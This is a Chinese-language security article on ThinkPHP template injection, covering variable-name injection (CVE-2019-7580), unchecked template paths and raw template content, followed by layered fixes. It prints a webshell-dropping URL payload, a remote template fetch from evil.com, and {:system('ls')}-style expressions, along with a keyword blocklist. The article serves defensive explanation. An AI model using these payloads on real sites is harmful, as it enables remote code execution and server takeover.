ThinkPHP模板注入漏洞本质是用户输入直接参与模板编译执行,导致任意PHP代码执行;风险点为模板变量名、文件路径、内容三处可控,需分层拦截修复。

ThinkPHP模板注入漏洞不是简单的“模板能显示变量”问题,而是用户输入直接参与模板编译与执行流程,导致任意PHP代码被执行。关键风险点在于:模板变量名、模板文件路径、模板内容本身这三个位置若被用户可控,就可能绕过常规过滤,进入底层eval或include逻辑。
模板变量名被滥用为执行入口
ThinkCMF 5.0.19 的 CVE-2019-7580 就是典型例子。当 URL 中传入 ?id=123,控制器未做白名单校验,就将 $id 当作变量名注入模板上下文;模板中写 {:$id},引擎调用 parseVar() 解析时,会把 123 当成表达式去执行——如果攻击者传入的是 ?id=@file_put_contents('shell.php','<?php @eval($_POST[cmd]);?>'),就会直接落地Webshell。
这类问题常见于自定义标签、动态字段渲染、URL参数透传到 assign() 的场景。
- 检查所有
$this->assign($key, $value)调用,确认$key是否来自$_GET、$_POST或路由参数 - 禁止使用用户输入直接作为变量名,如
$this->assign(input('key'), input('val'))必须改为固定键名 + 白名单校验值 - 在模板中禁用
{:$xxx}语法,改用{:$xxx|htmlspecialchars}等安全过滤器显式包裹
模板文件路径未校验引发远程加载
ThinkPHP 的 fetch() 方法支持传入相对路径、绝对路径甚至远程URL(如 fetch('http://evil.com/x.tpl'))。若控制器将 $_GET['tpl'] 直接拼进 fetch(),攻击者就能指定任意模板文件,包括日志、缓存、上传文件等可预测路径,从而触发模板引擎对恶意内容的解析执行。
立即学习“PHP免费学习笔记(深入)”;
例如:fetch('../runtime/log/202608/17.log') 若日志中含可控内容(如错误堆栈里的 POST 数据),就可能被当作模板执行。
- 禁止将任何用户输入用于
fetch()、display()、theme()的第一个参数 - 模板路径应限定在
view/子目录内,使用白名单配置,如['index', 'list', 'detail'] - 生产环境关闭
template.layout和template.theme的动态切换能力
模板内容直传绕过编译沙箱
部分业务需要“后台编辑模板内容并实时渲染”,于是用 fetch('', $content) 方式传入用户提交的 HTML+模板语法。但 ThinkPHP 默认不对此类 $content 做语法限制或沙箱隔离,攻击者可在其中插入 {:system('ls')}、{:call_user_func('phpinfo')} 等危险表达式。
这不同于前端 XSS,而是服务端原生 PHP 执行,WAF 很难识别,且无日志痕迹。
- 绝对避免接收用户提交的完整模板字符串并调用
fetch('', $content) - 如确需富文本+轻量逻辑,应剥离所有
{:、{:、{:php}类语法,仅保留安全的变量插值(如{$title})并启用自动转义 - 启用模板引擎的
tpl_deny_php配置项(TP5.1+ 支持),禁止在模板中使用 PHP 原生语法
三阶修复建议(兼顾紧急止血与长期治理)
不要只打补丁,要分层拦截:
-
应急层:在
public/index.php开头加入参数黑名单,拦截含\think\、call_user_func、eval、system、fetch、display的 GET/POST 键名或值 -
配置层:关闭
app_debug、template.debug、app_trace;设置default_filter = 'htmlspecialchars';禁用自动路由和多应用模式 - 架构层:将模板渲染移出主请求生命周期,改用预编译静态模板 + JSON 数据接口;敏感模块(如CMS后台)使用独立模板引擎(如 Twig)并关闭 PHP 执行能力



















